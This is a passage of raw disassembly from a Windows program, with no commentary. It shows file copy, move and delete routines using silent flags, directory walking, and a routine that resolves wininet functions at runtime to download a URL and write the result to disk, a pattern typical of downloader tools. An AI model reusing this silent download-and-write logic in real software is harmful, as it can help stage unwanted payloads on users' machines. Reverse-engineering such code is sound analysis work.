[ebp-11Ch], eax mov dword ptr [ebp-124h], 2 mov word ptr [ebp-118h], 80h cmp dword ptr [ebp+10h], 0 jz short loc_401C7B mov cx, [ebp-118h] or cx, 210h mov [ebp-118h], cx loc_401C7B: ; CODE XREF: HSho:00401C66j lea edx, [ebp-128h] push edx call dword_413288 ; SHFileOperationA neg eax sbb eax, eax inc eax loc_401C8D: ; CODE XREF: HSho:00401C22j pop edi mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401C92 proc near ; CODE XREF: sub_402C48+18Ep ; sub_402C48+1F1p ... var_140 = dword ptr -140h var_13C = byte ptr -13Ch var_13B = byte ptr -13Bh var_34 = byte ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = word ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_401C92 mov eax, large fs:0 push eax mov large fs:0, esp push ecx sub esp, 130h push ebx push esi push edi mov [ebp+var_10], esp mov al, ds:byte_419C10 mov [ebp+var_13C], al mov ecx, 41h xor eax, eax lea edi, [ebp+var_13B] rep stosd stosb push 104h mov ecx, [ebp+arg_0] push ecx lea edx, [ebp+var_13C] push edx call sub_402680 add esp, 0Ch lea eax, [ebp+var_13C] push eax call sub_4021DB add esp, 4 cmp eax, 1 jnz short loc_401D0D push 10000000h call dword_413078 ; RtlSetLastWin32Error xor eax, eax jmp short loc_401D79 ; --------------------------------------------------------------------------- loc_401D0D: ; CODE XREF: sub_401C92+6Aj push 1Eh push 0 lea ecx, [ebp+var_34] push ecx call sub_411622 ; memset add esp, 0Ch lea edx, [ebp+var_13C] mov [ebp+var_2C], edx mov [ebp+var_30], 3 mov [ebp+var_24], 694h mov [ebp+var_14], 0FFFFFFFFh mov [ebp+var_4], 0 push 1Ah call dword_4130E0 ; Sleep lea eax, [ebp+var_34] push eax call dword_413288 ; SHFileOperationA mov [ebp+var_14], eax jmp short loc_401D69 ; --------------------------------------------------------------------------- mov ecx, [ebp+var_140] call sub_411500 mov eax, offset loc_401D69 retn ; --------------------------------------------------------------------------- loc_401D69: ; CODE XREF: sub_401C92+C4j ; DATA XREF: sub_401C92+D1o mov [ebp+var_4], 0FFFFFFFFh xor eax, eax cmp [ebp+var_14], 0 setz al loc_401D79: ; CODE XREF: sub_401C92+79j mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401C92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D8A proc near ; CODE XREF: sub_402C48+16Dp ; sub_404605+1B7p ... var_230 = byte ptr -230h var_22F = byte ptr -22Fh var_128 = byte ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = word ptr -118h var_108 = byte ptr -108h var_107 = byte ptr -107h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 230h push edi mov al, ds:byte_419C14 mov [ebp+var_230], al mov ecx, 41h xor eax, eax lea edi, [ebp+var_22F] rep stosd stosb mov cl, ds:byte_419C18 mov [ebp+var_108], cl mov ecx, 41h xor eax, eax lea edi, [ebp+var_107] rep stosd stosb push 104h mov edx, [ebp+arg_0] push edx lea eax, [ebp+var_230] push eax call sub_402680 add esp, 0Ch push 104h mov ecx, [ebp+arg_4] push ecx lea edx, [ebp+var_108] push edx call sub_402680 add esp, 0Ch lea eax, [ebp+var_230] push eax call sub_4021DB add esp, 4 cmp eax, 1 jnz short loc_401E1E push 10000000h call dword_413078 ; RtlSetLastWin32Error xor eax, eax jmp short loc_401E81 ; --------------------------------------------------------------------------- loc_401E1E: ; CODE XREF: sub_401D8A+83j push 1Eh push 0 lea ecx, [ebp+var_128] push ecx call sub_411622 ; memset add esp, 0Ch lea edx, [ebp+var_230] mov [ebp+var_120], edx lea eax, [ebp+var_108] mov [ebp+var_11C], eax mov [ebp+var_124], 4 mov [ebp+var_118], 80h mov cx, [ebp+var_118] or cx, 614h mov [ebp+var_118], cx lea edx, [ebp+var_128] push edx call dword_413288 ; SHFileOperationA neg eax sbb eax, eax inc eax loc_401E81: ; CODE XREF: sub_401D8A+92j pop edi mov esp, ebp pop ebp retn sub_401D8A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 230h push edi mov al, ds:byte_419C1C mov [ebp-230h], al mov ecx, 41h xor eax, eax lea edi, [ebp-22Fh] rep stosd stosb mov cl, ds:byte_419C20 mov [ebp-108h], cl mov ecx, 41h xor eax, eax lea edi, [ebp-107h] rep stosd stosb push 104h mov edx, [ebp+8] push edx lea eax, [ebp-230h] push eax call sub_402680 add esp, 0Ch push 104h mov ecx, [ebp+0Ch] push ecx lea edx, [ebp-108h] push edx call sub_402680 add esp, 0Ch push 1Eh push 0 lea eax, [ebp-128h] push eax call sub_411622 ; memset add esp, 0Ch lea ecx, [ebp-230h] mov [ebp-120h], ecx lea edx, [ebp-108h] mov [ebp-11Ch], edx mov dword ptr [ebp-124h], 2 cmp dword ptr [ebp+10h], 0 jz short loc_401F44 mov ax, [ebp-118h] or ax, 210h mov [ebp-118h], ax loc_401F44: ; CODE XREF: HSho:00401F30j lea ecx, [ebp-128h] push ecx call dword_413288 ; SHFileOperationA neg eax sbb eax, eax inc eax pop edi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 234h push edi mov al, ds:byte_419C24 mov [ebp-234h], al mov ecx, 41h xor eax, eax lea edi, [ebp-233h] rep stosd stosb push 104h mov ecx, [ebp+8] push ecx lea edx, [ebp-234h] push edx call sub_402680 add esp, 0Ch push 1Eh push 0 lea eax, [ebp-24h] push eax call sub_411622 ; memset add esp, 0Ch lea ecx, [ebp-234h] mov [ebp-1Ch], ecx mov dword ptr [ebp-20h], 3 cmp dword ptr [ebp+0Ch], 0 jz short loc_401FCB mov dx, [ebp-14h] or dx, 210h mov [ebp-14h], dx loc_401FCB: ; CODE XREF: HSho:00401FBCj mov al, ds:byte_419C28 mov [ebp-12Ch], al mov ecx, 41h xor eax, eax lea edi, [ebp-12Bh] rep stosd lea ecx, [ebp-12Ch] push ecx push 104h call dword_41302C ; GetCurrentDirectoryA mov dword ptr [ebp-4], 1 loc_401FFE: ; CODE XREF: HSho:00402030j cmp dword ptr [ebp-4], 0 jz short loc_402032 lea edx, [ebp-234h] push edx lea eax, [ebp-12Ch] push eax call sub_40239F add esp, 8 test eax, eax jnz short loc_402032 lea ecx, [ebp-12Ch] push ecx call sub_402296 add esp, 4 mov [ebp-4], eax jmp short loc_401FFE ; --------------------------------------------------------------------------- loc_402032: ; CODE XREF: HSho:00402002j ; HSho:0040201Cj lea edx, [ebp-24h] push edx call dword_413288 ; SHFileOperationA neg eax sbb eax, eax inc eax pop edi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 33Ch push edi mov al, ds:byte_419C2C mov [ebp-33Ch], al mov ecx, 41h xor eax, eax lea edi, [ebp-33Bh] rep stosd stosb mov cl, ds:byte_419C30 mov [ebp-108h], cl mov ecx, 41h xor eax, eax lea edi, [ebp-107h] rep stosd stosb push 104h mov edx, [ebp+8] push edx lea eax, [ebp-33Ch] push eax call sub_402680 add esp, 0Ch push 104h mov ecx, [ebp+0Ch] push ecx lea edx, [ebp-108h] push edx call sub_402680 add esp, 0Ch push 1Eh push 0 lea eax, [ebp-12Ch] push eax call sub_411622 ; memset add esp, 0Ch lea ecx, [ebp-33Ch] mov [ebp-124h], ecx lea edx, [ebp-108h] mov [ebp-120h], edx mov dword ptr [ebp-128h], 1 cmp dword ptr [ebp+10h], 0 jz short loc_402104 mov ax, [ebp-11Ch] or ax, 210h mov [ebp-11Ch], ax loc_402104: ; CODE XREF: HSho:004020F0j mov cl, ds:byte_419C34 mov [ebp-234h], cl mov ecx, 41h xor eax, eax lea edi, [ebp-233h] rep stosd lea edx, [ebp-234h] push edx push 104h call dword_41302C ; GetCurrentDirectoryA mov dword ptr [ebp-10Ch], 1 loc_40213B: ; CODE XREF: HSho:00402180j cmp dword ptr [ebp-10Ch], 0 jz short loc_402182 lea eax, [ebp-33Ch] push eax lea ecx, [ebp-234h] push ecx call sub_40239F add esp, 8 test eax, eax jnz short loc_402182 push 0 call sub_402296 add esp, 4 mov [ebp-10Ch], eax lea edx, [ebp-234h] push edx push 104h call dword_41302C ; GetCurrentDirectoryA jmp short loc_40213B ; --------------------------------------------------------------------------- loc_402182: ; CODE XREF: HSho:00402142j ; HSho:0040215Cj lea eax, [ebp-12Ch] push eax call dword_413288 ; SHFileOperationA neg eax sbb eax, eax inc eax pop edi mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402199 proc near ; CODE XREF: sub_404A2D+Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 mov eax, [ebp+arg_0] push eax call dword_413030 ; CreateDirectoryA pop ebp retn sub_402199 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] push eax call dword_413034 ; RemoveDirectoryA pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call dword_413038 ; SetFileAttributesA pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] push eax call dword_41303C ; GetFileAttributesA pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4021DB proc near ; CODE XREF: HSho:00401C08p ; sub_401C92+5Fp ... var_144 = dword ptr -144h var_140 = dword ptr -140h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 144h push 140h push 0 lea eax, [ebp+var_140] push eax call sub_411622 ; memset add esp, 0Ch lea ecx, [ebp+var_140] push ecx mov edx, [ebp+arg_0] push edx call dword_413044 ; FindFirstFileA mov [ebp+var_144], eax cmp [ebp+var_144], 0FFFFFFFFh jnz short loc_40221E xor eax, eax jmp short loc_402292 ; --------------------------------------------------------------------------- loc_40221E: ; CODE XREF: sub_4021DB+3Dj mov eax, [ebp+var_140] or al, 10h cmp [ebp+var_140], eax jnz short loc_402280 loc_40222E: ; CODE XREF: sub_4021DB:loc_40226Aj lea ecx, [ebp+var_140] push ecx mov edx, [ebp+var_144] push edx call dword_413080 ; FindNextFileA test eax, eax jz short loc_40226C mov eax, [ebp+var_140] or al, 10h cmp [ebp+var_140], eax jz short loc_40226A mov ecx, [ebp+var_144] push ecx call dword_41307C ; FindClose mov eax, 2 jmp short loc_402292 ; --------------------------------------------------------------------------- loc_40226A: ; CODE XREF: sub_4021DB+79j jmp short loc_40222E ; --------------------------------------------------------------------------- loc_40226C: ; CODE XREF: sub_4021DB+69j mov edx, [ebp+var_144] push edx call dword_41307C ; FindClose mov eax, 1 jmp short loc_402292 ; --------------------------------------------------------------------------- loc_402280: ; CODE XREF: sub_4021DB+51j mov eax, [ebp+var_144] push eax call dword_41307C ; FindClose mov eax, 2 loc_402292: ; CODE XREF: sub_4021DB+41j ; sub_4021DB+8Dj ... mov esp, ebp pop ebp retn sub_4021DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402296 proc near ; CODE XREF: HSho:00402025p ; HSho:00402160p var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push edi mov al, ds:byte_419C38 mov [ebp+var_10C], al mov ecx, 41h xor eax, eax lea edi, [ebp+var_10B] rep stosd lea ecx, [ebp+var_10C] push ecx push 104h call dword_41302C ; GetCurrentDirectoryA lea edx, [ebp+var_10C] push edx call sub_402435 add esp, 4 movsx eax, al test eax, eax jz short loc_4022E9 xor eax, eax jmp loc_40239A ; --------------------------------------------------------------------------- loc_4022E9: ; CODE XREF: sub_402296+4Aj lea ecx, [ebp+var_10C] push ecx call sub_41162E ; strlen add esp, 4 mov [ebp+var_110], eax mov edx, [ebp+var_110] sub edx, 1 mov [ebp+var_4], edx jmp short loc_402315 ; --------------------------------------------------------------------------- loc_40230C: ; CODE XREF: sub_402296:loc_40237Dj mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_402315: ; CODE XREF: sub_402296+74j cmp [ebp+var_4], 0 jl short loc_40237F mov ecx, [ebp+var_4] movsx edx, [ebp+ecx+var_10C] cmp edx, 5Ch jnz short loc_40237D mov eax, [ebp+var_4] mov [ebp+eax+var_10C], 0 cmp [ebp+arg_0], 0 jz short loc_40234F lea ecx, [ebp+var_10C] push ecx mov edx, [ebp+arg_0] push edx call sub_411628 ; strcpy add esp, 8 loc_40234F: ; CODE XREF: sub_402296+A4j lea eax, [ebp+var_10C] push eax call sub_402435 add esp, 4 movsx ecx, al test ecx, ecx jz short loc_402369 xor eax, eax jmp short loc_40239A ; --------------------------------------------------------------------------- loc_402369: ; CODE XREF: sub_402296+CDj lea edx, [ebp+var_10C] push edx call dword_413048 ; SetCurrentDirectoryA mov eax, 1 jmp short loc_40239A ; --------------------------------------------------------------------------- loc_40237D: ; CODE XREF: sub_402296+93j jmp short loc_40230C ; --------------------------------------------------------------------------- loc_40237F: ; CODE XREF: sub_402296+83j cmp [ebp+arg_0], 0 jz short loc_402398 lea eax, [ebp+var_10C] push eax mov ecx, [ebp+arg_0] push ecx call sub_411628 ; strcpy add esp, 8 loc_402398: ; CODE XREF: sub_402296+EDj xor eax, eax loc_40239A: ; CODE XREF: sub_402296+4Ej ; sub_402296+D1j ... pop edi mov esp, ebp pop ebp retn sub_402296 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40239F proc near ; CODE XREF: HSho:00402012p ; HSho:00402152p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi mov eax, [ebp+arg_0] push eax call sub_41162E ; strlen add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_4] push ecx call sub_41162E ; strlen add esp, 4 mov [ebp+var_C], eax mov edx, [ebp+var_C] sub edx, 1 cmp [ebp+var_4], edx jb short loc_4023D3 xor eax, eax jmp short loc_402430 ; --------------------------------------------------------------------------- loc_4023D3: ; CODE XREF: sub_40239F+2Ej mov [ebp+var_8], 0 jmp short loc_4023E5 ; --------------------------------------------------------------------------- loc_4023DC: ; CODE XREF: sub_40239F:loc_40241Dj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_4023E5: ; CODE XREF: sub_40239F+3Bj mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jnb short loc_40241F mov edx, [ebp+arg_0] add edx, [ebp+var_8] movsx eax, byte ptr [edx] push eax call dword_4131F4 ; toupper add esp, 4 mov esi, eax mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movsx edx, byte ptr [ecx] push edx call dword_4131F4 ; toupper add esp, 4 cmp esi, eax jz short loc_40241D xor eax, eax jmp short loc_402430 ; --------------------------------------------------------------------------- loc_40241D: ; CODE XREF: sub_40239F+78j jmp short loc_4023DC ; --------------------------------------------------------------------------- loc_40241F: ; CODE XREF: sub_40239F+4Cj mov eax, [ebp+arg_4] add eax, [ebp+var_8] movsx ecx, byte ptr [eax] xor eax, eax cmp ecx, 5Ch setz al loc_402430: ; CODE XREF: sub_40239F+32j ; sub_40239F+7Cj pop esi mov esp, ebp pop ebp retn sub_40239F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402435 proc near ; CODE XREF: sub_402296+3Dp ; sub_402296+C0p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call sub_41162E ; strlen add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 2 jl short loc_402454 cmp [ebp+var_4], 3 jle short loc_402458 loc_402454: ; CODE XREF: sub_402435+17j xor al, al jmp short loc_4024B1 ; --------------------------------------------------------------------------- loc_402458: ; CODE XREF: sub_402435+1Dj mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] push edx call dword_4131F4 ; toupper add esp, 4 cmp eax, 41h jl short loc_402482 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call dword_4131F4 ; toupper add esp, 4 cmp eax, 5Ah jle short loc_402486 loc_402482: ; CODE XREF: sub_402435+36j xor al, al jmp short loc_4024B1 ; --------------------------------------------------------------------------- loc_402486: ; CODE XREF: sub_402435+4Bj mov edx, [ebp+arg_0] movsx eax, byte ptr [edx+1] cmp eax, 3Ah jz short loc_402496 xor al, al jmp short loc_4024B1 ; --------------------------------------------------------------------------- loc_402496: ; CODE XREF: sub_402435+5Bj cmp [ebp+var_4], 3 jnz short loc_4024AC mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx+2] cmp edx, 5Ch jz short loc_4024AC xor al, al jmp short loc_4024B1 ; --------------------------------------------------------------------------- loc_4024AC: ; CODE XREF: sub_402435+65j ; sub_402435+71j mov eax, [ebp+arg_0] mov al, [eax] loc_4024B1: ; CODE XREF: sub_402435+21j ; sub_402435+4Fj ... mov esp, ebp pop ebp retn sub_402435 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024B5 proc near ; CODE XREF: HSho:0040257Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx mov eax, [ebp+arg_0] push eax call dword_4131D8 ; ftell add esp, 4 mov [ebp+var_4], eax push 2 push 0 mov ecx, [ebp+arg_0] push ecx call dword_4131F0 ; fseek add esp, 0Ch mov edx, [ebp+arg_0] push edx call dword_4131D8 ; ftell add esp, 4 mov [ebp+var_8], eax push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4131F0 ; fseek add esp, 0Ch mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_4024B5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_411AFC mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h mov [ebp-34h], ecx mov dword ptr [ebp-30h], 0 mov dword ptr [ebp-4], 1 lea ecx, [ebp-1Ch] call sub_41151E mov byte ptr [ebp-4], 2 mov dword ptr [ebp-14h], 0 mov dword ptr [ebp-18h], 0 mov dword ptr [ebp-10h], 0 push offset aR_0 ; "r" lea ecx, [ebp+0Ch] call sub_4026A0 push eax call dword_4131C4 ; fopen add esp, 8 mov [ebp-24h], eax cmp dword ptr [ebp-24h], 0 jz short loc_4025E0 mov eax, [ebp-24h] push eax mov ecx, [ebp-34h] call sub_4024B5 mov [ebp-14h], eax mov ecx, [ebp-14h] push ecx call dword_4131C8 ; malloc add esp, 4 mov [ebp-10h], eax mov dword ptr [ebp-28h], 0 jmp short loc_4025A9 ; --------------------------------------------------------------------------- loc_4025A0: ; CODE XREF: HSho:004025BAj mov edx, [ebp-28h] add edx, 1 mov [ebp-28h], edx loc_4025A9: ; CODE XREF: HSho:0040259Ej mov eax, [ebp-28h] cmp eax, [ebp-14h] jge short loc_4025BC mov ecx, [ebp-10h] add ecx, [ebp-28h] mov byte ptr [ecx], 0Ah jmp short loc_4025A0 ; --------------------------------------------------------------------------- loc_4025BC: ; CODE XREF: HSho:004025AFj mov edx, [ebp-24h] push edx push 1 mov eax, [ebp-14h] push eax mov ecx, [ebp-10h] push ecx call dword_413254 ; fread add esp, 10h mov edx, [ebp-24h] push edx call dword_4131D0 ; fclose add esp, 4 loc_4025E0: ; CODE XREF: HSho:00402576j cmp dword ptr [ebp-10h], 0 jz short loc_402630 mov eax, [ebp-14h] push eax push 0 mov ecx, [ebp-10h] push ecx lea edx, [ebp-2Ch] push edx lea ecx, [ebp-20h] call sub_401ACF mov [ebp-38h], eax mov eax, [ebp-38h] mov [ebp-3Ch], eax mov byte ptr [ebp-4], 3 mov ecx, [ebp-3Ch] push ecx lea ecx, [ebp-1Ch] call sub_411518 mov byte ptr [ebp-4], 2 lea ecx, [ebp-2Ch] call sub_411512 mov edx, [ebp-10h] push edx call dword_4131D4 ; free add esp, 4 jmp short loc_40263D ; --------------------------------------------------------------------------- loc_402630: ; CODE XREF: HSho:004025E4j push offset dword_419C3C lea ecx, [ebp-1Ch] call sub_41150C loc_40263D: ; CODE XREF: HSho:0040262Ej lea eax, [ebp-1Ch] push eax mov ecx, [ebp+8] call sub_411506 mov ecx, [ebp-30h] or ecx, 1 mov [ebp-30h], ecx mov byte ptr [ebp-4], 1 lea ecx, [ebp-1Ch] call sub_411512 mov byte ptr [ebp-4], 0 lea ecx, [ebp+0Ch] call sub_411512 mov eax, [ebp+8] mov ecx, [ebp-0Ch] mov large fs:0, ecx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402680 proc near ; CODE XREF: HSho:00401BE1p ; HSho:00401BF9p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call dword_413200 ; _mbsnbcpy add esp, 0Ch pop ebp retn sub_402680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4026A0 proc near ; CODE XREF: HSho:00402560p ; sub_4064D9+1Dp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov eax, [eax] mov esp, ebp pop ebp retn sub_4026A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4026B0 proc near ; CODE XREF: sub_402A1E+7Fp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_4132CC mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4026B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4026C7 proc near ; CODE XREF: sub_4029F0+Ap ; sub_402BB1+26p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_4132CC mov esp, ebp pop ebp retn sub_4026C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4026DB proc near ; CODE XREF: sub_402C48+A6p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov [ebp+var_14], ecx mov [ebp+var_8], 0 mov [ebp+var_4], 0 lea eax, [ebp+var_8] push eax mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_14] call sub_4027A4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jbe loc_402798 cmp [ebp+arg_4], 0 jz short loc_402776 push 0 push 8000000h push 2 push 0 push 0 push 40000000h mov edx, [ebp+arg_4] push edx call dword_413018 ; CreateFileA mov [ebp+var_10], eax cmp [ebp+var_10], 0FFFFFFFFh jnz short loc_40273E xor al, al jmp short loc_40279E ; --------------------------------------------------------------------------- loc_40273E: ; CODE XREF: sub_4026DB+5Dj mov [ebp+var_C], 0 push 0 lea eax, [ebp+var_C] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_14] mov eax, [edx+4] push eax mov ecx, [ebp+var_10] push ecx call dword_413050 ; WriteFile mov edx, [ebp+var_10] push edx call dword_413020 ; CloseHandle mov eax, [ebp+var_C] cmp eax, [ebp+var_4] jz short loc_402776 xor al, al jmp short loc_40279E ; --------------------------------------------------------------------------- loc_402776: ; CODE XREF: sub_4026DB+38j ; sub_4026DB+95j mov ecx, [ebp+var_14] cmp dword ptr [ecx+4], 0 jz short loc_402796 mov edx, [ebp+var_14] mov eax, [edx+4] push eax call dword_41304C ; GlobalFree mov ecx, [ebp+var_14] mov dword ptr [ecx+4], 0 loc_402796: ; CODE XREF: sub_4026DB+A2j jmp short loc_40279C ; --------------------------------------------------------------------------- loc_402798: ; CODE XREF: sub_4026DB+2Ej xor al, al jmp short loc_40279E ; --------------------------------------------------------------------------- loc_40279C: ; CODE XREF: sub_4026DB:loc_402796j mov al, 1 loc_40279E: ; CODE XREF: sub_4026DB+61j ; sub_4026DB+99j ... mov esp, ebp pop ebp retn 8 sub_4026DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4027A4 proc near ; CODE XREF: sub_4026DB+22p ; sub_402F1E+35p var_2034 = dword ptr -2034h var_2030 = dword ptr -2030h var_202C = dword ptr -202Ch var_2028 = dword ptr -2028h var_2024 = dword ptr -2024h var_2020 = byte ptr -2020h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2034h call sub_4115D0 mov [ebp+var_2034], ecx cmp [ebp+arg_0], 0 jnz short loc_4027C4 xor eax, eax jmp loc_4029EA ; --------------------------------------------------------------------------- loc_4027C4: ; CODE XREF: sub_4027A4+17j mov eax, [ebp+var_2034] cmp dword ptr [eax+4], 0 jz short loc_4027ED mov ecx, [ebp+var_2034] mov edx, [ecx+4] push edx call dword_41304C ; GlobalFree mov eax, [ebp+var_2034] mov dword ptr [eax+4], 0 loc_4027ED: ; CODE XREF: sub_4027A4+2Aj push offset aWininet_dll ; "wininet.dll" call dword_4130DC ; LoadLibraryA mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_402808 xor eax, eax jmp loc_4029EA ; --------------------------------------------------------------------------- loc_402808: ; CODE XREF: sub_4027A4+5Bj push offset aInternetopena ; "InternetOpenA" mov ecx, [ebp+var_1C] push ecx call dword_413060 ; GetProcAddress mov [ebp+var_202C], eax push offset aInternetopenur ; "InternetOpenUrlA" mov edx, [ebp+var_1C] push edx call dword_413060 ; GetProcAddress mov [ebp+var_8], eax push offset aInternetcloseh ; "InternetCloseHandle" mov eax, [ebp+var_1C] push eax call dword_413060 ; GetProcAddress mov [ebp+var_10], eax push offset aInternetreadfi ; "InternetReadFile" mov ecx, [ebp+var_1C] push ecx call dword_413060 ; GetProcAddress mov [ebp+var_18], eax mov edx, [ebp+var_2034] mov dword ptr [edx+4], 0 mov [ebp+var_20], 0 mov [ebp+var_2024], 0 mov [ebp+var_C], 0 push 0 push 0 push 0 push 1 push 0 call [ebp+var_202C] mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_402898 xor eax, eax jmp loc_4029EA ; --------------------------------------------------------------------------- loc_402898: ; CODE XREF: sub_4027A4+EBj push 0 push 9 push 0 push 0 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_20] push ecx call [ebp+var_8] mov [ebp+var_2024], eax cmp [ebp+var_2024], 0 jnz short loc_4028C1 xor eax, eax jmp loc_4029EA ; --------------------------------------------------------------------------- loc_4028C1: ; CODE XREF: sub_4027A4+114j mov [ebp+var_2028], 2000h mov [ebp+var_4], 0 mov edx, [ebp+var_2034] cmp dword ptr [edx+4], 0 jz short loc_4028FB mov eax, [ebp+var_2034] mov ecx, [eax+4] push ecx call dword_41304C ; GlobalFree mov edx, [ebp+var_2034] mov dword ptr [edx+4], 0 loc_4028FB: ; CODE XREF: sub_4027A4+138j push 0 push 40h call dword_41305C ; GlobalAlloc mov ecx, [ebp+var_2034] mov [ecx+4], eax loc_40290E: ; CODE XREF: sub_4027A4+1F9j lea edx, [ebp+var_14] push edx push 1FFFh lea eax, [ebp+var_2020] push eax mov ecx, [ebp+var_2024] push ecx call [ebp+var_18] test eax, eax jz short loc_4029A2 cmp [ebp+var_14], 0 jnz short loc_402934 jmp short loc_4029A2 ; --------------------------------------------------------------------------- loc_402934: ; CODE XREF: sub_4027A4+18Cj mov edx, [ebp+var_14] mov [ebp+edx+var_2020], 0 cmp [ebp+var_14], 2000h jnb short loc_402952 mov [ebp+var_2030], 0 loc_402952: ; CODE XREF: sub_4027A4+1A2j push 2 mov eax, [ebp+var_4] add eax, [ebp+var_14] push eax mov ecx, [ebp+var_2034] mov edx, [ecx+4] push edx call dword_413058 ; GlobalReAlloc mov ecx, [ebp+var_2034] mov [ecx+4], eax mov edx, [ebp+var_14] push edx lea eax, [ebp+var_2020] push eax mov ecx, [ebp+var_2034] mov edx, [ecx+4] add edx, [ebp+var_4] push edx call sub_411634 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] add eax, [ebp+var_14] mov [ebp+var_4], eax jmp loc_40290E ; --------------------------------------------------------------------------- loc_4029A2: ; CODE XREF: sub_4027A4+186j ; sub_4027A4+18Ej cmp [ebp+var_20], 0 jz short loc_4029AF mov ecx, [ebp+var_20] push ecx call [ebp+var_10] loc_4029AF: ; CODE XREF: sub_4027A4+202j cmp [ebp+var_2024], 0 jz short loc_4029C2 mov edx, [ebp+var_2024] push edx call [ebp+var_10] loc_4029C2: ; CODE XREF: sub_4027A4+212j cmp [ebp+var_C], 0 jz short loc_4029CF mov eax, [ebp+var_C] push eax call [ebp+var_10] loc_4029CF: ; CODE XREF: sub_4027A4+222j mov ecx, [ebp+var_1C] push ecx call dword_413054 ; FreeLibrary mov edx, [ebp+arg_4] mov eax, [ebp+var_2034] mov ecx, 